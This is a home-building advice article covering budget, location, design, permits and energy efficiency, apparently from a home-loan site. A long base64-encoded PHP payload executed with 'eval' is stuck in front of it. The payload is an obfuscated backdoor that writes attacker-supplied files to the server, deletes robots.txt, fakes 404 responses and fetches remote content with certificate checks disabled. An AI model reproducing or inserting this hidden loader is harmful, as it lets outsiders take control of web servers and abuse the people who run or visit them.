DE0N1x4NzYiXVswXTsgZ290byB2SmtsNzsgUEx4WFA6IGNZNU9NOiBnb3RvIEg0czJQOyB4dzFXRjogZ290byBiUHNHejsgZ290byBNRmtVTzsgdkprbDc6IGJQc0d6OiBnb3RvIFNHZlkwOyBHdWxKcjogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTQxXDE2Mlx4NjdceDc2Il0pKSB7IGdvdG8gVGFKQjE7IH0gZ290byBlRjBFZTsgcEUyVlY6IH0gZ290byBtRUtkMDsgQjB3bHM6IGoxdFdmOiBnb3RvIE9fdkoyOyBCdHBiYzogZXhpdDsgZ290byB3NDNZXzsgYm1fd0M6IFZ5WUZFKCR4VnQ4dCwgJEVSZHV3LCAkWjNpTlgpOyBnb3RvIEFJSGd5OyBXZDlKZjogZnVuY3Rpb24gTVBzSnMoJFo0dV94KSB7IGdvdG8gZGxxODA7IE9hZXhfOiAkZGpEZXUgPSBjdXJsX2luaXQoKTsgZ290byBIV0VRNDsgVGd2Z1Q6IFRWNDltOiBnb3RvIE5feFd5OyBkbHE4MDogJFFfSWtZID0gJyc7IGdvdG8gYzFtTE07IGMxbUxNOiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXHg2M1x4NzVceDcyXHg2Y1wxMzdcMTUxXHg2ZVwxNTFceDc0IikpIHsgZ290byBtWEdWeDsgfSBnb3RvIE9hZXhfOyBOX3hXeTogcmV0dXJuICRRX0lrWTsgZ290byBDYmI2WDsgcW44Q3g6ICRRX0lrWSA9IGN1cmxfZXhlYygkZGpEZXUpOyBnb3RvIEE1UXJHOyBvUms1cDogaWYgKCRRX0lrWSkgeyBnb3RvIFRWNDltOyB9IGdvdG8gTEpERzk7IHpESzdvOiBjdXJsX3NldG9wdCgkZGpEZXUsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGVlNV9WOyBlZTVfVjogY3VybF9zZXRvcHQoJGRqRGV1LCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7IGdvdG8gcW44Q3g7IExKREc5OiAkUV9Ja1kgPSBAZmlsZV9nZXRfY29udGVudHMoJFo0dV94KTsgZ290byBUZ3ZnVDsgQTVRckc6IGN1cmxfY2xvc2UoJGRqRGV1KTsgZ290byBYS29uaDsgSFdFUTQ6IGN1cmxfc2V0b3B0KCRkakRldSwgQ1VSTE9QVF9VUkwsICRaNHVfeCk7IGdvdG8gQXltTTY7IFhLb25oOiBtWEdWeDogZ290byBvUms1cDsgQXltTTY6IGN1cmxfc2V0b3B0KCRkakRldSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8geFBETGE7IHhQRExhOiBjdXJsX3NldG9wdCgkZGpEZXUsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIHpESzdvOyBDYmI2WDogfSBnb3RvIGEyRVVuOyB0MFdfajogeWFXeGQ6IGdvdG8gazBCODE7IE5UVEFPOiBAaGVhZGVyKCJcMTEwXDEyNFwxMjRceDUwXHgyZlx4MzFcNTZceDMxXDQwXDY0XDYwXHgzNFx4MjBceDRlXDE1N1x4NzRceDIwXHg0NlwxNTdcMTY1XDE1Nlx4NjQiKTsgZ290byBncXFxUTsgRHhKN3U6IGdvdG8gQkF0ZkQ7IGdvdG8gcjRYZHQ7IFBuYXEwOiBsX1k1WTogZ290byBvNFdKVjsgWXc4MXo6ICRvM1JnSCA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXHg1ZlwxMTBcMTE3XHg1M1x4NTQiXTsgZ290byBEb3BueDsgREpraV86IGlmICghZmlsZV9wdXRfY29udGVudHMoJHlVMnVuIC4gIlx4MmYiIC4gJHRFX1dYLCAkSVU0a0EpKSB7IGdvdG8gSnhrVEo7IH0gZ290byBacHh1VjsgalJfam46IGlmICghKCRnNl9TUyA9PSAiXHg2Nlw2N1w2NVx4NjZceDY0XDY1XHg2MVx4NjNcMTQ0XDYzXHgzNlwxNDFcNjdcMTQ2XHg2MlwxNDRcNjFcMTQ1XDYyXHgzMVx4MzlcMTQyXDYxXHgzOVx4MzhceDM4XHgzMVx4NjFcNjVceDMzXHgzNFw3MFwxNDJceDY2XHg2M1w2Nlx4MzZcMTQ1XDY3XHgzOSIpKSB7IGdvdG8gWGNOWWo7IH0gZ290byBrWmpTdDsgSW1Pejk6IG5jbmVROiBnb3RvIERLV2VQOyBSTEJJVTogQGhlYWRlcigiXDExMFwxMjRceDU0XHg1MFw1N1w2MVx4MmVceDMxXDQwXHgzM1w2MFw2MVw0MFwxMTVcMTU3XDE2Nlx4NjVceDY0XDQwXHg1MFx4NjVceDcyXDE1NVx4NjFceDZlXDE0NVx4NmVceDc0XDE1NFx4NzkiKTsgZ290byB0MHZXczsgZWlVOFA6IE5OTDdZOiBnb3RvIHBpZE8yOyBPY0NoYzogJHlVMnVuID0gZGlybmFtZShfX0ZJTEVfXyk7IGdvdG8gemZLalE7IGJ0VGw1OiBnb3RvIGJaNXJ4OyBnb3RvIFRPYWc2OyBLSl9mMjogZ290byB2MmtaMjsgZ290byBZNEU0TTsgeWlVUXY6ICRBUG1KMyA9IHN0cl9yZXBsYWNlKCJceDcwXDE1MVx4NmVceDY3XDE3MFx4NmRcMTU0XDE0N1x4NjVcMTY0XDE0M1wxNTdcMTU2XDE2NFx4NjVcMTU2XHg3NCIsICcnLCAkQVBtSjMpOyBnb3RvIGRjSUZjOyBvcTRmSzogQHNldF90aW1lX2xpbWl0KDM2MDApOyBnb3RvIGJiQ1NFOyBMZXFEdzogYlo1cng6IGdvdG8gd2M3aW07IHc0M1lfOiBkbzJGTzogZ290byBmUURXTTsgblhRSXg6ICRjMW5ESyA9ICJceDY4XDE2NFx4NzRceDcwIjsgZ290byB3Y002UDsgdkJNTmk6IGlmIChzdHJzdHIoJEFQbUozLCAiXDE1N1wxNTNcMTUwXHg3NFwxNTVceDZjXDE0N1x4NjVcMTY0XHg2M1wxNTdceDZlXDE2NFwxNDVceDZlXDE2NCIpKSB7IGdvdG8gWTFDR0M7IH0gZ290byBtdDJtdTsgT2ZKUGU6IFFWb015OiBnb3RvIGpraXdlOyB2YmtHTzogJEVSZHV3ID0gJHlVMnVuIC4gIlx4MmYiIC4gJHB2eV9qIC4gIlx4MmYiIC4gJGNLcDlSOyBnb3RvIE9obUJ2OyBsekVYODogR2ttc0c6IGdvdG8gdzBWcEk7IFZ6NWJuOiBmdW5jdGlvbiBRT3gySSgpIHsgZ290byBTV1E5UDsgV3Z1azA6IGdvdG8gU1BLczY7IGdvdG8gQnhoQno7IHMzSXJOOiBHRUVyYjogZ290byBMbUF3WTsgbTN1NHY6IHJldHVybiB0cnVlOyBnb3RvIFhMRkUxOyBYTEZFMTogZ290byBTUEtzNjsgZ290byBzM0lyTjsgYzZVdjI6IHBUdFJHOiBnb3RvIG0zdTR2OyBxZmk3ZDogcmV0dXJuIGZhbHNlOyBnb3RvIGZKTkVWOyBpSXRoSDogcmV0dXJuIHRydWU7IGdvdG8gWkt5Ymo7IElzM0ViOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDVmXDEzMFwxMzdceDQ2XDExN1wxMjJcMTI3XHg0MVwxMjJcMTA0XHg0NVwxMDRcMTM3XDEyMFx4NTJceDRmXHg1NFx4NGYiXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XDEzMFwxMzdcMTA2XHg0ZlwxMjJcMTI3XHg0MVx4NTJcMTA0XDEwNVwxMDRceDVmXHg1MFx4NTJcMTE3XDEyNFx4NGYiXSA9PT0gIlx4NjhceDc0XDE2NFx4NzBceDczIikgeyBnb3RvIEdFRXJiOyB9IGdvdG8gSGl5OEc7IFNXUTlQOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZceDY2IikgeyBnb3RvIHBUdFJHOyB9IGdvdG8gSXMzRWI7IFpLeWJqOiBTUEtzNjogZ290byBxZmk3ZDsgSGl5OEc6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdcMTA2XHg1Mlx4NGZcMTE2XHg1NFwxMzdceDQ1XDExNlwxMDRcMTM3XDExMFwxMjRcMTI0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDQ2XHg1Mlx4NGZceDRlXHg1NFwxMzdceDQ1XHg0ZVwxMDRcMTM3XDExMFx4NTRcMTI0XDEyMFwxMjMiXSkgIT09ICJcMTU3XHg2NlwxNDYiKSB7IGdvdG8gb0toUlI7IH0gZ290byBzbktIVDsgQnhoQno6IG9LaFJSOiBnb3RvIGlJdGhIOyBzbktIVDogZ290byBTUEtzNjsgZ290byBjNlV2MjsgTG1Bd1k6IHJldHVybiB0cnVlOyBnb3RvIFd2dWswOyBmSk5FVjogfSBnb3RvIFl3ODF6OyBESGYwNjogZ290byBWWkx3STsgZ290byBaMTJWdzsgVGRnVGw6ICRNcnF2bSA9ICR5VTJ1biAuICJceDJmXDE2MlwxNTdceDYyXHg2Zlx4NzRcMTYzXDU2XDE2NFx4NzhceDc0IjsgZ290byBQMGRxcjsgekZwWWo6IGVjaG8gIlw3NFx4NjJcMTYyXHgzZVx4NzNceDY5XDE2NFwxNDVcMTU1XDE0MVx4NzBcNDBcMTU2XHg2MVwxNTVcMTQ1XDQwXHg2NlwxNDFceDZjXDE2M1x4NjVceDIxXDc0XDE0MlwxNjJcNzYiOyBnb3RvIEtKX2YyOyBYWm9wYzogJElVNGtBID0gQCRfUkVRVUVTVFsiXHg2NFwxNjNceDc0XDE2MiJdOyBnb3RvIERKa2lfOyBPaG1CdjogJFozaU5YID0gJG12M0lGIC4gIlw3Mlx4MmZcNTciIC4gJFRGdkl2IC4gIlw1N1x4NzRcMTQ1XHg2ZFwxNjBcNTdcMTYzXDE2NFx4NzlceDZjXDE0NVw1Nlx4NjNcMTYzXHg3MyI7IGdvdG8gaFZGRVk7IHNteWpqOiBpZiAoZmlsZV9leGlzdHMoJE1ycXZtKSkgeyBnb3RvIHVSdHYzOyB9IGdvdG8gTnBuR2M7IFhjVEZ4OiBpZiAoIXByZWdfbWF0Y2goIlw1N1wxMzZceDY3XHg2ZlwxNTdceDY3XDE1NFx4NjVceDJlXDUyXDc3XHgyOFx4NWNceDJlXDE1MFwxNjRcMTU1XDE1NFx4MjlcNDRceDJmXDE1MSIsICRraHdwaSkpIHsgZ290byBaUDdDcTsgfSBnb3RvIFNwVkNFOyBGZGczUjogZXhpdDsgZ290byB1cTcwQzsgcGlkTzI6IEB1bmxpbmsoJE1ycXZtKTsgZ290byBkY1ludzsgRkRmUTg6IGVjaG8gJEFQbUozOyBnb3RvIGFwQWhQOyBlaGx5NDogZXhpdCgiXDc0XHg2MVw0MFx4NjhcMTYyXDE0NVwxNDZceDNkIiAuICRraHdwaSAuICJceDNlIiAuICRraHdwaSAuICJceDNjXDU3XHg2MVx4M2UiKTsgZ290byBnV05vRjsgWnBuVm86ICRLdndqUiA9ICRjMW5ESyAuICJceDNhXHgyZlx4MmYiIC4gJG8zUmdIIC4gIlx4MmYiIC4gJHRFX1dYOyBnb3RvIG80X1hROyB1cTcwQzogVEpXMHY6IGdvdG8gaEhDTEI7IHBnMlhQOiBAaGVhZGVyKCJcMTAzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0XHgyZFx4NzRcMTcxXDE2MFwxNDVceDNhXHgyMFwxNjRceDY1XDE3MFwxNjRcNTdcMTUwXHg3NFwxNTVcMTU0XHgzYlw0MFx4NjNceDY4XDE0MVx4NzJcMTYzXDE0NVwxNjRcNzVcMTY1XHg3NFx4NjZceDJkXDcwIik7IGdvdG8gaHVFTEw7IFVYcUZTOiBYaHZSSjogZ290byBqUldNZTsgZlFEV006IHNRSEI4Og=='); eval($a); Building Your Dream Home: Key Considerations -
e-home loan

Building your dream home is an exciting journey, one that allows you to create a living space that reflects your tastes, needs, and aspirations. However, the process can be complex and demanding. To ensure the end result is everything you’ve ever wanted, it’s crucial to pay attention to various key considerations. In this comprehensive guide, we’ll explore vital factors to consider when embarking on the adventure of building your dream home.

1. Budget

Before you start envisioning your dream home, it’s essential to establish a realistic budget. Building a home is a significant financial commitment, and you must have a clear understanding of your financial boundaries. 

Take into account not only construction costs but also additional expenses like permits, landscaping, and potential unforeseen costs. It’s advisable to consult with a financial advisor or a mortgage specialist to help you plan your budget effectively.

2. Location

Your choice of location is fundamental. Consider your daily routine, work commute, access to schools, healthcare facilities, and proximity to amenities such as parks, shopping centers, and entertainment options. 

The right location should align with your lifestyle and future needs, enhancing your overall quality of life. It’s also essential to assess the neighborhood’s character and potential for future development.

3. Design and Layout

The design and layout of your dream home are pivotal considerations. Think about the number of rooms, their sizes, and how they will be arranged. Consider the flow of the living space, ensuring that it suits your family’s dynamics and daily activities. If you have specific needs or desires, such as a home office or a large kitchen, make sure to integrate them into the design from the outset.

See also  Home Improvements with Value Addition

4. Architectural Style

The architectural style of your home is a reflection of your personal taste and the environment you want to create. Whether you prefer a modern, minimalist design or a more traditional, classic look, your chosen style should complement your surroundings and blend harmoniously with the neighborhood. 

It’s important to work with an architect or designer who can help you realize your vision while ensuring structural integrity and compliance with local building codes.

5. Builder/Contractor

Selecting a reputable builder or contractor is a critical decision in the home-building process. Look for professionals with a proven track record, excellent references, and a commitment to quality. 

The right builder will guide you through the construction process, help you make informed choices, and ensure that your dream home becomes a reality. Take the time to research and interview potential builders before making your selection.

6. Permits and Regulations

Building a home involves a maze of permits, regulations, and zoning codes. Failing to navigate this red tape can lead to delays, increased costs, and potential legal issues. Work closely with your builder or contractor to ensure that all necessary permits are secured and that your project adheres to local building codes and regulations. Compliance is essential for the safety and legality of your home.

7. Energy Efficiency

Incorporating energy-efficient features into your home’s design is not only a responsible choice but can also lead to long-term cost savings. Consider features such as high-quality insulation, energy-efficient windows, and modern heating and cooling systems. You can also explore renewable energy options, like solar panels in Idaho, to reduce your environmental footprint and lower your energy bills.

See also  Top Tips To Help You Choose the Right Garage Lighting for Your Needs

8. Materials and Finishes

The materials and finishes you choose for your home will impact its appearance, durability, and maintenance requirements. It’s important to strike a balance between aesthetics and functionality. High-quality materials may have a higher upfront cost but can save you money on repairs and replacements in the long run. Consult with design professionals to choose materials that align with your vision and budget.

9. Technology Integration

In our increasingly connected world, integrating technology into your home is a wise choice. Plan for home automation and technology integration from the beginning. Consider features like smart thermostats, security systems, and entertainment setups. By thinking about technology early in the process, you can seamlessly incorporate it into your home’s design and functionality.

10. Future Needs

Your dream home should not only meet your current needs but also accommodate your future ones. Consider potential changes in your family, such as a growing family or aging-in-place requirements. Design your home with flexibility in mind, allowing for additions or modifications as needed. This forward-thinking approach ensures that your dream home remains a perfect fit for years to come.

Conclusion

Building your dream home is a unique opportunity to create a living space that is truly your own. By carefully considering these key factors, you can embark on the journey of home construction with confidence and turn your dreams into reality. While the process may be complex, the reward of living in a home designed and built to your exact specifications is well worth the effort. So, start planning, be patient, and enjoy the journey of building your dream home.

See also  The importance of floor plans for marketing property 

Author Bio:

Alison Lurie is a farmer of words in the field of creativity. She is an experienced independent content writer with a demonstrated history of working in the writing and editing industry. She is a multi-niche content chef who loves cooking new things.